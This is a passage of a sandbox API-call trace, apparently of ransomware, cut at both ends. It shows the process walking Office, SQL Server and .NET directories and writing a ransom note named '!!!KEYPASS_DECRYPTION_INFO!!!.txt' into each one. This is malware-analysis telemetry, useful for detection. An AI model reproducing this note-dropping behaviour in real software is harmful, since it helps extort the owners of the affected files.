Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.686] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c4 [0276.687] GetFileType (hFile=0x18c4) returned 0x1 [0276.687] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.687] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.687] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.687] WriteFile (in: hFile=0x18c4, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.688] WriteFile (in: hFile=0x18c4, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.688] CloseHandle (hObject=0x18c4) returned 1 [0276.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x3998770 [0276.688] FindNextFileW (in: hFindFile=0x3998770, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.688] FindNextFileW (in: hFindFile=0x3998770, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.688] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.688] FindNextFileW (in: hFindFile=0x3998770, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.688] FindNextFileW (in: hFindFile=0x3998270, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.688] FindNextFileW (in: hFindFile=0x39982f0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.688] FindNextFileW (in: hFindFile=0x3998430, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.688] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.688] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.689] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.689] GetLastError () returned 0x3f0 [0276.689] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.689] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft sql server\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18dc [0276.691] GetFileType (hFile=0x18dc) returned 0x1 [0276.691] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.691] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.692] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.692] WriteFile (in: hFile=0x18dc, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.692] WriteFile (in: hFile=0x18dc, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.692] CloseHandle (hObject=0x18dc) returned 1 [0276.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3998330 [0276.693] FindNextFileW (in: hFindFile=0x3998330, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.693] FindNextFileW (in: hFindFile=0x3998330, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.693] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.693] FindNextFileW (in: hFindFile=0x3998330, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.693] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.693] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.693] GetLastError () returned 0x3f0 [0276.693] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.693] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft sql server\\130\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18e0 [0276.694] GetFileType (hFile=0x18e0) returned 0x1 [0276.694] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.694] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.694] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.695] WriteFile (in: hFile=0x18e0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.695] WriteFile (in: hFile=0x18e0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.695] CloseHandle (hObject=0x18e0) returned 1 [0276.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x39984b0 [0276.696] FindNextFileW (in: hFindFile=0x39984b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.696] FindNextFileW (in: hFindFile=0x39984b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.696] FindNextFileW (in: hFindFile=0x39984b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.696] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.696] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.696] GetLastError () returned 0x3f0 [0276.696] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.696] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft sql server\\130\\shared\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18e4 [0276.696] GetFileType (hFile=0x18e4) returned 0x1 [0276.696] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.696] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.697] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.697] WriteFile (in: hFile=0x18e4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.697] WriteFile (in: hFile=0x18e4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.697] CloseHandle (hObject=0x18e4) returned 1 [0276.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x39987b0 [0276.698] FindNextFileW (in: hFindFile=0x39987b0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.698] FindNextFileW (in: hFindFile=0x39987b0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.698] FindNextFileW (in: hFindFile=0x39987b0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.698] FindNextFileW (in: hFindFile=0x39984b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.698] FindNextFileW (in: hFindFile=0x3998330, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.698] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.698] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.698] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.698] GetLastError () returned 0x3f0 [0276.698] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.698] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft.net\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18e8 [0276.699] GetFileType (hFile=0x18e8) returned 0x1 [0276.700] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.700] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.700] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.700] WriteFile (in: hFile=0x18e8, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.701] WriteFile (in: hFile=0x18e8, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.701] CloseHandle (hObject=0x18e8) returned 1 [0276.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3998730 [0276.701] FindNextFileW (in: hFindFile=0x3998730, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.701] FindNextFileW (in: hFindFile=0x3998730, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.701] FindNextFileW (in: hFindFile=0x3998730, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.701] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.701] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.701] GetLastError () returned 0x3f0 [0276.701] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.701] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft.net\\adomd.net\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18f0 [0276.702] GetFileType (hFile=0x18f0) returned 0x1 [0276.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.703] WriteFile (in: hFile=0x18f0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.704] WriteFile (in: hFile=0x18f0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.704] CloseHandle (hObject=0x18f0) returned 1 [0276.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3998170 [0276.704] FindNextFileW (in: hFindFile=0x3998170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.704] FindNextFileW (in: hFindFile=0x3998170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.704] FindNextFileW (in: hFindFile=0x3998170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.704] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.704] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.704] GetLastError () returned 0x3f0 [0276.704] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.704] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft.net\\adomd.net\\130\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18f4 [0276.705] GetFileType (hFile=0x18f4) returned 0x1 [0276.705] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.705] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.705] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.706] WriteFile (in: hFile=0x18f4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.706] WriteFile (in: hFile=0x18f4, lpBuffer=0x2e4bda0*, 